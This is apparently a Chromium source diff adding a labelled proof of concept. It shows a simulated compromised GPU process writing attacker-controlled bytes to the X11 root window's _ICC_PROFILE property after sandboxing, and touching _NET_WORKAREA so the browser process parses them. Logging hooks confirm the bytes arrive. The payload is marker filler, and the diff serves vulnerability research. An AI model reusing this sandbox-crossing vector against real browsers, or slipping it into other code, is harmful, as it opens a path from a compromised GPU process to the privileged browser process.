diff --git a/content/gpu/BUILD.gn b/content/gpu/BUILD.gn index 052263865c55c4..492f782fd9e86d 100644 --- a/content/gpu/BUILD.gn +++ b/content/gpu/BUILD.gn @@ -119,6 +119,15 @@ target(link_target_type, "gpu_sources") { deps += [ "//ui/ozone" ] } + # === POC INJECTION: deps so gpu_main.cc can drive the X11 connection === + if (is_linux && ozone_platform_x11) { + deps += [ + "//ui/base:ozone_buildflags", + "//ui/gfx/x", + ] + } + # === END POC INJECTION === + if (enable_vulkan) { deps += [ "//gpu/vulkan" ] } diff --git a/content/gpu/gpu_main.cc b/content/gpu/gpu_main.cc index 526b07c08cddf7..3a97425d8974f5 100644 --- a/content/gpu/gpu_main.cc +++ b/content/gpu/gpu_main.cc @@ -115,6 +115,23 @@ #include "sandbox/policy/sandbox_type.h" #endif +// === POC INJECTION (GPU-side, headers) === +// Simulates a compromised GPU process: post-seccomp, write _ICC_PROFILE and +// _NET_WORKAREA on the X11 root window via the pre-sandbox X11 socket. This +// demonstrates the GPU->browser ICC delivery vector. +#if BUILDFLAG(IS_LINUX) +#include +#include "base/process/process_handle.h" +#include "base/task/single_thread_task_runner.h" +#include "ui/base/ozone_buildflags.h" // nogncheck +#if BUILDFLAG(SUPPORTS_OZONE_X11) +#include "ui/gfx/x/atom_cache.h" // nogncheck +#include "ui/gfx/x/connection.h" // nogncheck +#include "ui/gfx/x/future.h" // nogncheck +#endif // BUILDFLAG(SUPPORTS_OZONE_X11) +#endif // BUILDFLAG(IS_LINUX) +// === END POC INJECTION (headers) === + #if BUILDFLAG(IS_MAC) #include "base/message_loop/message_pump_apple.h" #include "components/metal_util/device_removal.h" @@ -218,6 +235,57 @@ class ContentSandboxHelper : public gpu::GpuSandboxHelper { #endif }; +// === POC INJECTION (GPU-side, payload) === +#if BUILDFLAG(IS_LINUX) && BUILDFLAG(SUPPORTS_OZONE_X11) +void PocGpuX11Attack() { + auto* sbx = sandbox::policy::SandboxLinux::GetInstance(); + const int sbx_status = sbx->GetStatus(); + const bool seccomp = sbx->seccomp_bpf_started(); + LOG(ERROR) << "[POC][GPU pid=" << base::GetCurrentProcId() + << "] post-sandbox X11 attack starting; seccomp_bpf_started=" + << seccomp << " sandbox_status=0x" << std::hex << sbx_status + << std::dec; + + auto* conn = x11::Connection::Get(); + if (!conn || !conn->Ready()) { + LOG(ERROR) << "[POC][GPU] no X11 connection / not ready"; + return; + } + x11::Window root = conn->default_root(); + + // Attacker-controlled ICC bytes. Magic marker 0x47 0x50 0x55 0x21 = "GPU!" + // followed by deterministic filler so the browser-side log can identify it. + std::vector icc(512); + icc[0] = 'G'; + icc[1] = 'P'; + icc[2] = 'U'; + icc[3] = '!'; + for (size_t i = 4; i < icc.size(); ++i) { + icc[i] = static_cast(0xA0 | (i & 0x0F)); + } + LOG(ERROR) << "[POC][GPU pid=" << base::GetCurrentProcId() << "] writing " + << icc.size() + << "-byte _ICC_PROFILE (marker=GPU!) on root window 0x" << std::hex + << static_cast(root) << std::dec; + conn->SetArrayProperty(root, x11::GetAtom("_ICC_PROFILE"), + x11::Atom::CARDINAL, icc) + .Sync(); + + // Touch _NET_WORKAREA so the browser process gets PropertyNotify and runs + // XDisplayManager::DispatchDelayedDisplayListUpdate -> GetIccProfileSync. + std::vector workarea = {0u, 0u, 1280u, 800u}; + LOG(ERROR) << "[POC][GPU pid=" << base::GetCurrentProcId() + << "] writing _NET_WORKAREA to trigger browser-process refresh"; + conn->SetArrayProperty(root, x11::GetAtom("_NET_WORKAREA"), + x11::Atom::CARDINAL, workarea) + .Sync(); + conn->Flush(); + LOG(ERROR) << "[POC][GPU pid=" << base::GetCurrentProcId() + << "] X11 ChangeProperty calls completed (post seccomp)"; +} +#endif // BUILDFLAG(IS_LINUX) && BUILDFLAG(SUPPORTS_OZONE_X11) +// === END POC INJECTION (payload) === + } // namespace // Main function for starting the Gpu process. @@ -437,6 +505,15 @@ int GpuMain(MainFunctionParams parameters) { gpu_process.set_main_thread(child_thread); + // === POC INJECTION (GPU-side, trigger) === + // Runs strictly *after* InitializeAndStartSandbox() returned. A small delay + // gives the browser's PropertyCache time to be fully selecting on root. +#if BUILDFLAG(IS_LINUX) && BUILDFLAG(SUPPORTS_OZONE_X11) + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, base::BindOnce(&PocGpuX11Attack), base::Seconds(2)); +#endif + // === END POC INJECTION (trigger) === + #if BUILDFLAG(IS_MAC) // A GPUEjectPolicy of 'wait' is set in the Info.plist of the browser // process, meaning it is "responsible" for making sure it and its diff --git a/ui/base/x/x11_display_manager.cc b/ui/base/x/x11_display_manager.cc index 65af54df3dcd32..f8d1a6a1255f58 100644 --- a/ui/base/x/x11_display_manager.cc +++ b/ui/base/x/x11_display_manager.cc @@ -4,8 +4,11 @@ #include "ui/base/x/x11_display_manager.h" +#include // POC INSTRUMENTATION #include +#include "base/logging.h" // POC INSTRUMENTATION + #include "base/functional/bind.h" #include "base/task/single_thread_task_runner.h" #include "components/device_event_log/device_event_log.h" @@ -71,6 +74,13 @@ void XDisplayManager::OnEvent(const x11::Event& xev) { auto* prop = xev.As(); if (xev.As() || (prop && prop->atom == x11::GetAtom("_NET_WORKAREA"))) { + // === POC INSTRUMENTATION (browser-side) === + if (prop) { + LOG(ERROR) << "[POC][BROWSER pid=" << getpid() + << "] XDisplayManager::OnEvent: PropertyNotify(_NET_WORKAREA)" + " -> DispatchDelayedDisplayListUpdate"; + } + // === END POC INSTRUMENTATION === DispatchDelayedDisplayListUpdate(); } } diff --git a/ui/base/x/x11_display_util.cc b/ui/base/x/x11_display_util.cc index 9af47cd826be48..8b5c4b1000da28 100644 --- a/ui/base/x/x11_display_util.cc +++ b/ui/base/x/x11_display_util.cc @@ -5,6 +5,7 @@ #include "ui/base/x/x11_display_util.h" #include +#include // POC INSTRUMENTATION #include #include @@ -20,6 +21,7 @@ #include "base/logging.h" #include "base/notimplemented.h" #include "base/numerics/clamped_math.h" +#include "base/strings/string_number_conversions.h" // POC INSTRUMENTATION #include "base/strings/string_util.h" #include "base/strings/stringprintf.h" #include "ui/base/l10n/l10n_util.h" @@ -99,6 +101,19 @@ gfx::ICCProfile GetIccProfileSync(x11::Future future) { if (!response || !response->value_len) { return gfx::ICCProfile(); } + // === POC INSTRUMENTATION (browser-side, observability only) === + UNSAFE_TODO({ + const size_t sz = response->value_len * response->format / 8u; + const uint8_t* p = response->value->bytes(); + bool gpu_marker = sz >= 4 && p[0] == 'G' && p[1] == 'P' && + p[2] == 'U' && p[3] == '!'; + LOG(ERROR) << "[POC][BROWSER pid=" << getpid() + << "] GetIccProfileSync: " << sz << " bytes, head=" + << base::HexEncode(base::span( + p, std::min(sz, 8))) + << (gpu_marker ? " <<< GPU-PLANTED ICC RECEIVED >>>" : ""); + }); + // === END POC INSTRUMENTATION === return gfx::ICCProfile::FromData(response->value->bytes(), response->value_len * response->format / 8u); } diff --git a/ui/gfx/icc_profile.cc b/ui/gfx/icc_profile.cc index c4578c17524e1c..6f804c565aee6e 100644 --- a/ui/gfx/icc_profile.cc +++ b/ui/gfx/icc_profile.cc @@ -4,6 +4,11 @@ #include "ui/gfx/icc_profile.h" +#include "build/build_config.h" +#if BUILDFLAG(IS_LINUX) +#include // POC INSTRUMENTATION +#endif + #include #include #include @@ -54,6 +59,20 @@ void ICCProfile::Internals::Initialize() { if (data_.empty()) return; + // === POC INSTRUMENTATION === +#if BUILDFLAG(IS_LINUX) + { + bool gpu_marker = data_.size() >= 4 && data_[0] == 'G' && + data_[1] == 'P' && data_[2] == 'U' && data_[3] == '!'; + LOG(ERROR) << "[POC][BROWSER pid=" << getpid() + << "] ICCProfile::Initialize: feeding " << data_.size() + << " bytes into SkCodecs::ICCProfileChromium::Make " + << "(moxcms/skcms parser)" + << (gpu_marker ? " <<< GPU-PLANTED ICC PARSED >>>" : ""); + } +#endif + // === END POC INSTRUMENTATION === + // Parse the profile. auto parsed = SkCodecs::ICCProfileChromium::Make( SkData::MakeWithoutCopy(data_.data(), data_.size()));